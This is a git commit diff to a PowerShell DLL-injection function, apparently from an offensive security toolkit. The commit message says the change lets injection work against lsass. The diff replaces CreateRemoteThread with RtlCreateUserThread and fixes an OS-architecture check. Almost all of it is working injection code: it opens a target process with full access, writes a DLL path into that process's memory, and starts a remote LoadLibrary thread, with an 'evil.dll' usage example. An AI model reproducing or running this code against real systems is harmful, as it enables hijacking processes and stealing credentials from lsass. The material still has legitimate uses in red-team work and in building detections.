Invoke-DllInjection now calls RtlCreateUserThread

Calling CreateRemoteThread on lsass.

Bug fix: Invoke-DllInjection was checking the processor architecture
when it should have been validating the OS architecture. This would
cause Invoke-DllInjection to fail on a 32-bit OS with a 64-bit
processor.
This commit is contained in:
mattifestation 2014-06-21 11:29:46 -04:00
parent 29a5d48c3f
commit dc3cab2c9f
1 changed files with 26 additions and 24 deletions

View File

@ -25,7 +25,7 @@ Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE .EXAMPLE
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description Description
----------- -----------
@ -207,16 +207,13 @@ http://www.exploit-monday.com
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type. # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4) if ([IntPtr]::Size -eq 4)
{ {
@ -227,6 +224,14 @@ http://www.exploit-monday.com
$PowerShell32bit = $False $PowerShell32bit = $False
} }
$OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
switch ($OSArchitecture)
{
'32-bit' { $64bitOS = $False }
'64-bit' { $64bitOS = $True }
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
@ -235,23 +240,20 @@ http://www.exploit-monday.com
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
} }
else
{ $Architecture = Get-PEArchitecture $Dll
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False Write-Verbose "Architecture of the dll to be injected: $Architecture"
}
# Open a handle to the process you want to inject into # Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess) if (!$hProcess)
{ {
THrow 'Unable to open process handle.' Throw 'Unable to open process handle.'
} }
$Architecture = Get-PEArchitecture $Dll if ($64bitOS) # Only perform theses checks if OS is 64-bit
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{ {
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') ) if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{ {
@ -293,7 +295,7 @@ http://www.exploit-monday.com
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW) $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero) if ($RemoteMemAddr -eq [IntPtr]::Zero)
{ {
Throw 'Unable to allocate memory in remote process.' Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
} }
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
@ -302,10 +304,10 @@ http://www.exploit-monday.com
Write-Verbose "Dll path written sucessfully." Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread # Execute dll as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) $Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
if (!$ThreadHandle) if ($Result)
{ {
Throw 'Unable to launch remote thread.' Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
} }
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@ -313,16 +315,16 @@ http://www.exploit-monday.com
# Close process handle # Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null $CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
# Extract just the filename from the provided path to the dll. # Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf $FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }
if (!$DllInfo) if (!$DllInfo)
{ {
Throw "Dll did dot inject properly into the victim process." Throw "Dll did dot inject properly into the victim process."
} }
Write-Verbose "Injected DLL information:$($DllInfo)" Write-Verbose 'Dll injection complete!'
$DllInfo
} }